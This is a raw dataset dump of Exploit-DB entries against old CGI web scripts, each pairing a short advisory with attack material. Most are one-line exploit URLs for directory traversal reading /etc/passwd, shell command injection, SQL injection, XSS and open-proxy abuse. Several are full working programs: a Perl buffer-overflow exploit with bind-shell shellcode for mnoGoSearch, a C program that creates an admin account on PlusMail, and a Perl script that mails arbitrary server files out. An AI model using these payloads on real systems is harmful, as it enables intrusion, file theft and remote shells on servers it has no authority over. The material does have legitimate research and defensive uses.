deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20434
Description: Miva htmlscript 2.x - Directory Traversal
Type: remote
Platform: cgi
Date: 1998-01-26
Author: Dennis Moore

Exploit:
source: https://www.securityfocus.com/bid/2001/info

Miva's htmlscript CGI program provides a unique scripting language with HTML type tags. (Note that htmlscript is an older product no longer distributed by Miva under that name.) Versions of the htmlscript interpreter (a CGI script) prior to 2.9932 are vulnerable to a file reading directory traversal attack using relative paths (eg., "../../../../../../etc/passwd"). An attacker need only append this path as a variable passed to the script via a URL. The contents of any file to which the web server process has read access can be retrieved using this method. 

http://host/cgi-bin/htmlscript?../../../../../../../etc/somefile
Exploit-DB #22754
Description: MNOGoSearch 3.1.20 - 'search.cgi?UL' Remote Buffer Overflow (2)
Type: remote
Platform: cgi
Date: 2003-06-10
Author: inv

Exploit:
source: https://www.securityfocus.com/bid/7865/info
 
mnoGoSearch 'search.cgi' has been reported prone to a buffer overflow vulnerability.
 
The issue is a result of a lack of sufficient bounds checking performed on user-supplied URI parameters that are passed to the 'search.cgi' application.
 
It may be possible for an attacker to exploit this vulnerability and have arbitrary code executed in the context of the web-server process.

# shellcode binds shell to port 10000

use IO::Socket;

unless (@ARGV > 0) { die "Usage ./DSR-mnogo IP"}

$host = shift(@ARGV);
$ret = pack("l",0xbfbff670);
$nop = "\x90"x5402;

$shellcode = 
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x52\x66\x68\x27\x10\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80\x51\x53\x53\xb0\x6a\xcd\x80\x52\x52\x53\x53\xb0\x1e\xcd\x80\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80";


$exploit_string = $nop.$shellcode.$ret.$ret;


print "\nRemote Mnogo Exploit \n";
print "Code by inv \n\n";
print "Host: $host\n";

$remote = IO::Socket::INET->new(

	Proto	 	=>	"tcp",
	PeerAddr	=>	$host,
	PeerPort	=>	"http(80)",
	);

$remote->autoflush(1);

print $remote "GET /cgi-bin/search.cgi?ul=$exploit_string HTTP/1.0\n\n";

while ( <$remote> ) { print }

close $remote;
Exploit-DB #20273
Description: Moreover CGI script - File Disclosure
Type: remote
Platform: cgi
Date: 2000-10-02
Author: CDI

Exploit:
source: https://www.securityfocus.com/bid/1762/info


The 'cached_feed' CGI script supplied by newsfeed vendor Moreover.com contains a file-disclosure vulnerability. The script's 'obtain_file' function, designed to return the contents of a specified file for display in the browser, fails to adequately filter ".." character sequences in user-supplied input. As a result, a carefully formed URL that is submitted to the script can result in the disclosure of files (readable by HTTP user) outside of the CGI script's "allowed" area.

Version 1.0 of the product is affected. The vendor repaired the script and released version 2.0 before this vulnerability was published. 

http://www.example.com/cgi-bin/cached_feed.cgi?../../../.+/etc/passwd
Exploit-DB #24336
Description: MyServer 0.6.2 - 'math_sum.mscgi' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: cgi
Date: 2004-07-30
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10831/info

Reportedly MyServer is affected by multiple remote vulnerabilities in the 'math_sum.mscgi' example script. These issues are due to a boundary condition error and a failure to properly sanitize user-supplied URI input.

An attacker could exploit the boundary condition issue to execute arbitrary code on the affected computer with the privileges of the user that started the affected application. The input validation issue could be leveraged to carry out cross-site scripting attacks against the affected computer.

These issues are reported to affect MyServer version 0.6.2, it is likely other versions are also affected.

http://www.example.com/cgi-bin/math_sum.mscgi?a=[code]&b=[code]
Exploit-DB #24337
Description: myServer 0.6.2 - 'math_sum.mscgi' Multiple Remote Overflows
Type: remote
Platform: cgi
Date: 2004-07-30
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10831/info
 
Reportedly MyServer is affected by multiple remote vulnerabilities in the 'math_sum.mscgi' example script. These issues are due to a boundary condition error and a failure to properly sanitize user-supplied URI input.
 
An attacker could exploit the boundary condition issue to execute arbitrary code on the affected computer with the privileges of the user that started the affected application. The input validation issue could be leveraged to carry out cross-site scripting attacks against the affected computer.
 
These issues are reported to affect MyServer version 0.6.2, it is likely other versions are also affected.

http://www.example.com/cgi-bin/math_sum.mscgi?a=[AAA...x86...AAA]
Exploit-DB #33051
Description: Nagios 3.0.6 - 'statuswml.cgi' Arbitrary Shell Command Injection
Type: remote
Platform: cgi
Date: 2009-05-22
Author: Paul

Exploit:
source: https://www.securityfocus.com/bid/35464/info

Nagios is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Remote attackers can exploit this issue to execute arbitrary shell commands with the privileges of the user running the application.

NOTE: For an exploit to succeed, access to the WAP interface's ping feature must be allowed.

Versions prior to Nagios 3.1.1 are vulnerable. 

The following example URI is available:

https://www.example.com/nagios/cgi-bin/statuswml.cgi?ping=173.45.235.65%3Becho+%24PATH
Exploit-DB #20752
Description: NCM Content Management System - content.pl Input Validation
Type: remote
Platform: cgi
Date: 2001-04-13
Author: RA-Soft Security

Exploit:
source: https://www.securityfocus.com/bid/2584/info

The NCM Content Management System is a product distributed by NCM. The NCM Content Management System is designed to manage web material and other data, and provide an interface to databases from web resources.

A problem with the Content Management System could make it possible for a user to execute arbitrary SQL queries. Due to improper checking of input by the content.pl script, it may be possible to execute queries on tables within the database using the greater than and less than signs. This problem is in combination with the production version of the software package displaying information about the database upon receiving an invalid query, usual generated from a correct URL appended with an additional character.

Therefore, it is possible for a remote user to execute arbitrary SQL queries using the < and > signs, as well as gain more information by appending erroneous characters to the end of valid URLs. 

http://www.TARGET/content.pl?group=49&id=140a

http://www.TARGET/content.pl?group=49&id=140%20or%20id>0%20or%20ls_id<1000%20or%20kategorie<10000%20or%20kategorie>10%20or%20ls_id>1%20or%20id<10%20or%20kategorie<10%20or%20kategorie>4&shortdetail=1
Exploit-DB #20423
Description: NCSA httpd-campas 1.2 - sample script
Type: remote
Platform: cgi
Date: 1997-07-15
Author: Francisco Torres

Exploit:
source: https://www.securityfocus.com/bid/1975/info

Campas is a sample CGI script shipped with some older versions of NCSA HTTPd, an obsolete web server package. The versions that included the script could not be determined as the server is no longer maintained, but version 1.2 of the script itself is known to be vulnerable. The script fails to properly filter user supplied variables, and as a result can be used to execute commands on the host with the privileges of the web server. Commands can be passed as a variable to the script, separated by %0a (linefeed) characters. See exploit for example. Successful exploitation of this vulnerability could be used to deface the web site, read any files the server process has access to, get directory listings, and execute anything else the web server has access to. 

> telnet target 80
[...]
GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
<PRE>
root:x:0:1:Super-User:/export/home/root:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:/bin/false
[...]
Exploit-DB #25648
Description: neteyes nexusway border gateway - Multiple Vulnerabilities
Type: remote
Platform: cgi
Date: 2005-05-11
Author: pokley

Exploit:
source: https://www.securityfocus.com/bid/13596/info

NexusWay is reportedly affected by multiple remote vulnerabilities. These issues can allow an unauthorized attacker to execute arbitrary commands and gain administrative access to an affected device.

All versions of NexusWay are considered vulnerable at the moment. 

# curl -k -b 'cyclone500_write=1; cyclone500_auth=1;
client_ip1;client=0.0.0.0' https://www.example.com/index.cgi

ping ;sh
traceroute ;sh

https://www.example.com/nslookup.cgi?ip=localhost%26%26cat%20/stand/htdocs/config/admin
https://www.example.com/ping.cgi?ip=localhost%26%26touch+/tmp/test
Exploit-DB #20156
Description: netwin netauth 4.2 - Directory Traversal
Type: remote
Platform: cgi
Date: 2000-08-17
Author: Marc Maiffret

Exploit:
source: https://www.securityfocus.com/bid/1587/info

A remote user is capable of gaining read access to any known file residing on a host running Netwin Netauth through directory traversal. Appending a series of '../' and the desired file name to the 'page' variable at the end of a request to netauth.cgi will allow a remote user to walk the entire directory tree above the Netauth directory.

For example:

http://target/cgi-bin/netauth.cgi?cmd=show&page=../../directory

will display the contents of the specified directory.
Exploit-DB #20448
Description: Novell NetWare Web Server 2.x - convert.bas
Type: remote
Platform: cgi
Date: 1996-07-03
Author: TTT Group

Exploit:
source: https://www.securityfocus.com/bid/2025/info

Novell NetWare Web Server 2.x versions came with a CGI written in BASIC called convert.bas. This script allows retrieval of files outside of the normal web server context. This can be accomplished simply by submitting the filename and path as a parameter to the script, using relative paths (../../) to traverse directories. Access may or may not be limited to the SYS: volume. 

http://targethost/scripts/convert.bas?../../anything/you/want/to/view
Exploit-DB #20303
Description: Oatmeal Studios Mail File 1.10 - Arbitrary File Disclosure
Type: remote
Platform: cgi
Date: 2000-10-11
Author: Dirk Brockhausen

Exploit:
source: https://www.securityfocus.com/bid/1807/info

OatMeal studios' Mail-File is a cgi application that allows for sending of certain files to user-specified email addresses via a web interface. A vulnerability exists in this script that can be used to send the contents of <i>any</i> readable user-specified files to an email address. When used normally, the web interface provides the user with the option to select files to send that have been pre-configured in the script. The values of the form variables associated with each "pre-configured file" are the actual filenames that are used when opening the files. As a result, the user can manipulate the filename value so that the script will, instead of opening one of the "normal" options, open whatever has been specified as the filename (eg "../../../../../../../../../etc/passwd"). The script also checks the value of the referrer when accepting submitted input from the form but fails to protect against this attack. If exploited, an attacker can read arbitrary files on the filesystem with the privileges of the webserver. This may lead to further compromise.

#!/usr/bin/perl

use HTTP::Request::Common;
use LWP::UserAgent;

$ua = LWP::UserAgent->new;
$res = $ua->request(POST 'http://domain/mailfile.cgi',
[real_name => 'value1',
email => 'value2',
filename => 'value3',
]);

--snip--

value3 = target filename
value2 = where to send the file to
value1 = username.. can be anything.
Exploit-DB #20632
Description: PALS Library System WebPALS 1.0 - 'pals-cgi' Arbitrary Command Execution
Type: remote
Platform: cgi
Date: 2001-02-02
Author: cuctema

Exploit:
source: https://www.securityfocus.com/bid/2372/info
 
A specially crafted URL composed of a known filename, will disclose the requested file residing on a machine running WebPALS. This vulnerability will also allow an attacker to execute arbitrary code with root privileges. 

http://target/pals-cgi?palsAction=restart&documentName=url_to_command
Exploit-DB #20631
Description: PALS Library System WebPALS 1.0 - pals-cgi Traversal Arbitrary File Read
Type: remote
Platform: cgi
Date: 2001-02-02
Author: cuctema

Exploit:
source: https://www.securityfocus.com/bid/2372/info

A specially crafted URL composed of a known filename, will disclose the requested file residing on a machine running WebPALS. This vulnerability will also allow an attacker to execute arbitrary code with root privileges. 


http://target/cgi-bin/pals-cgi?palsAction=restart&documentName=url_to_file
Exploit-DB #20808
Description: PerlCal 2.x - Directory Traversal
Type: remote
Platform: cgi
Date: 2001-04-27
Author: ThePike

Exploit:
source: https://www.securityfocus.com/bid/2663/info

PerlCal is a CGI script written by Acme Software that allows web-based calendar sharing and related functions.

A vulnerability exists in PerlCal which can allow a remote user to traverse the filesystem of a target host. This may lead to the disclosure of potentially sensitive file contents.

Files and directories can be accessed through the use of double dot '../' techniques along with a relative path to the known resource.

Disclosed content is dependant on the privilege level of the user the server is running under, typically user 'nobody'.

This attack may lead to the disclosure of sensitive information and may aid in the assistance of future attacks. 

http://www.example.com/cgi-bin/cal_make.pl?p0=../../../../../../../../../../../../etc/passwd%00

This will display the /etc/passwd (if the webserver user has
access to this file).
Exploit-DB #20567
Description: PHP PHP/fi 2.0 - Directory Traversal
Type: remote
Platform: cgi
Date: 1997-04-16
Author: Shamanski

Exploit:
source: https://www.securityfocus.com/bid/2250/info

PHP/FI is an software suite designed to offer enhanced features to sites served via the World Wide Web. It is open source, freely available, and maintained by the PHP development team.

A problem with the software could allow remote users access to restricted resources. Due to a design problem in the software package, the PHP/FI software package allows a remote user to browse directories and view files stored on the local host. It is possible to view only those files which the UID of the local httpd process has access to read. A user with malicious intent could use this vulnerability to gather information on the local host, and possibly gain remote access to encrypted user passwords on a system not using the shadow password suite. 

http://www.someurl.com/php.cgi?/path/to/file
Exploit-DB #21102
Description: Power Up HTML 0.8033 Beta - Directory Traversal Arbitrary File Disclosure
Type: remote
Platform: cgi
Date: 2001-09-07
Author: Steve Shepherd

Exploit:
source: https://www.securityfocus.com/bid/3304/info

Power Up HTML is a set of HTML-like commands that can be placed into web pages. It provides a central routing point to simplify programming and customization of CGI scripts.

A vulnerability exists in Power Up HTML which allows directory traversal through the web server using ../ strings in a CGI request. This directory traversal can be used to view or execute arbitrary files on the webserver to which the web service has permissions. Failure to filter metacharacters from HTTP requests can allow user-supplied values to run. 

http://www.target.com/cgi-bin/powerup/r.cgi?FILE=../../../../../etc/passwd
Exploit-DB #20799
Description: PowerScripts PlusMail WebConsole 1.0 - Weak Authentication (1)
Type: remote
Platform: cgi
Date: 2000-01-11
Author: Synnergy Networks

Exploit:
// source: https://www.securityfocus.com/bid/2653/info

PowerScripts PlusMail Web Control Panel is a web-based administration suite for maintaining mailing lists, mail aliases, and web sites. It is reportedly possible to change the administrative username and password without knowing the current one, by passing the proper arguments to the plusmail script. After this has been accomplished, the web console allows a range of potentially destructive activities including changing of e-mail aliases, mailing lists, web site editing, and various other privileged tasks. This can be accomplished by submitting the argument "new_login" with the value "reset password" to the plusmail script (typically /cgi-bin/plusmail). Other arguments the script expects are "username", "password" and "password1", where username equals the new login name, password and password1 contain matching passwords to set the new password to.

The specific affected versions have not been determined, and the developer cannot be located. 

/*
 * [Synnergy Networks http://www.synnergy.net]
 * 
 * Title:	plusbug.c - [remote plusmail exploit]
 * Author:	headflux (hf@synnergy.net)
 * Date:	01.10.2000
 * Description:	plusmail fails to check authenticity before creating new
 *		accounts
 *
 * [Synnergy Networks (c) 2000, http://www.synnergy.net]
 */

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main(int argc, char *argv[])
{
    char *expcgi = "GET /cgi-bin/plusmail?login=pluz&password=pluz&"
                   "password1=pluz&new_login=Login HTTP/1.0\n\n";

    struct hostent *hp;
    struct in_addr addr;
    struct sockaddr_in s;
    u_char buf[280];
    int p, i;
 
    if (argc < 1)
    {
        printf("usage: %s hostname\n", argv[0]);
        exit(1);
    } 

    hp = gethostbyname(argv[1]);
    if(!hp)
    {
        printf("bad hostname.\n");
        exit(1);
    }

    bcopy (hp->h_addr, &addr, sizeof (struct in_addr));
    p = socket (s.sin_family = 2, 1, IPPROTO_TCP);
    s.sin_port = htons(80);
    s.sin_addr.s_addr = inet_addr (inet_ntoa (addr));

    if(connect (p, &s, sizeof (s))!=0)
    {
        printf("error: unable to connect.\n");
  	return;
    }
    else
    {
        send(p, expcgi, strlen(expcgi), 0);
        alarm(5);
        read(p, buf, 255);
        close(p);
    }

    if (strstr(buf, "200 OK") && ! strstr(buf, "Invalid"))
        printf("account pluz/pluz created.\n");
    else
        printf("exploit failed.\n");

    return(0);
}
/*                    www.hack.co.za           [21 July]*/
Exploit-DB #24327
Description: RiSearch 0.99 /RiSearch Pro 3.2.6 - show.pl Arbitrary File Access
Type: remote
Platform: cgi
Date: 2004-07-27
Author: Phil Robinson

Exploit:
source: https://www.securityfocus.com/bid/10812/info
 
RiSearch and RiSearch Pro are reported prone to an open proxy vulnerability. It is reported that the issue presents itself due to a lack of sufficient sanitization performed on user supplied URI parameters.
 
A remote attacker may exploit this condition in order to launch attacks against local and public services in the context of the site that is hosting the vulnerable script.

http://www.example.com/cgi-bin/search/show.pl?url=file:/etc/passwd
Exploit-DB #24326
Description: RiSearch 0.99 /RiSearch Pro 3.2.6 - show.pl Open Proxy Relay
Type: remote
Platform: cgi
Date: 2004-07-27
Author: Phil Robinson

Exploit:
source: https://www.securityfocus.com/bid/10812/info

RiSearch and RiSearch Pro are reported prone to an open proxy vulnerability. It is reported that the issue presents itself due to a lack of sufficient sanitization performed on user supplied URI parameters.

A remote attacker may exploit this condition in order to launch attacks against local and public services in the context of the site that is hosting the vulnerable script.

http://www.example.com/cgi-bin/search/show.pl?url=http://www.google.com
http://www.example.com/cgi-bin/search/show.pl?url=http://192.168.0.1
http://www.example.com/cgi-bin/search/show.pl?url=http://localhost:8080
http://www.example.com/cgi-bin/search/show.pl?url=ftp://192.168.0.1
http://www.example.com/cgi-bin/search/show.pl?url=ftp://username:password@192.168.0.1
Exploit-DB #20570
Description: Sambar Server 4.1 Beta - Admin Access
Type: remote
Platform: cgi
Date: 1998-06-10
Author: Michiel de Weerd

Exploit:
source: https://www.securityfocus.com/bid/2255/info

'dumpenv.pl' is a utility that will display environment information on which the server resides, this information could include the server software version being used, directory settings and path information.

The default authentication credentials for the administrator account in a Sambar Server is Username: admin with the password left blank. Once a remote user has gained knowledge of the path to log into the admin account, it is possible for the user to login to the server via an http request. This unauthorized access is gained providing that the default settings have not been changed.

Successful exploitation of this vulnerability could lead to complete compromise of the host 

The following will display environment information:

http://target/cgi-bin/dumpenv.pl

The following is an example of the path to login as admin:

http://target/session/adminlogin?RCpage=/sysadmin/index.stm
Exploit-DB #21390
Description: Sambar Server 5.1 - Script Source Disclosure
Type: remote
Platform: cgi
Date: 2002-04-17
Author: pgrundl

Exploit:
source: https://www.securityfocus.com/bid/4533/info

An issue has been discovered in Sambar Server, which could allow a user to reveal the source code of script files.

Submitting a request for a known script file along with a space and null character (%00), will successfully bypass the serverside URL parsing. 

http://server/cgi-bin/environ.pl+%00
Exploit-DB #23187
Description: SBox 1.0.4 - Full Path Disclosure
Type: remote
Platform: cgi
Date: 2003-09-25
Author: Julio e2fsck Cesar

Exploit:
source: https://www.securityfocus.com/bid/8705/info

sbox has been reported prone to a path disclosure vulnerability.

The issue has been reported to present itself when a HTTP request is made for a CGI resource that does not exist. sbox will reportedly return an error message that contains path information.

Information contained in this error message may aid an attacker in further attacks mounted against a vulnerable system. 

http://www.example.com/cgi-bin/non-existent.pl

Will result in:
Sbox Error
The sbox program encountered an error while processing this request.
Please note the time of the error, anything you might have been doing at
the time to trigger the problem, and forward the information to this
site's Webmaster (root@example.com).

Stat failed. /home/jcf/cgi-bin/a.pl: No such file or directory

sbox version 1.04
$Id: sbox.c,v 1.9 2000/03/28 20:12:40 lstein Exp $
Exploit-DB #20068
Description: Sean MacGuire Big Brother 1.x - Directory Traversal
Type: remote
Platform: cgi
Date: 2000-07-11
Author: Eric Hines

Exploit:
source: https://www.securityfocus.com/bid/1455/info

Versions 1.4H and prior of BB4 Big Brother are susceptible to a directory traversal vulnerability which would allow a remote user to view the contents of any directory or file on the system. Executing a GET request for:

http://target/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../directory

will display the contents of the specified directory.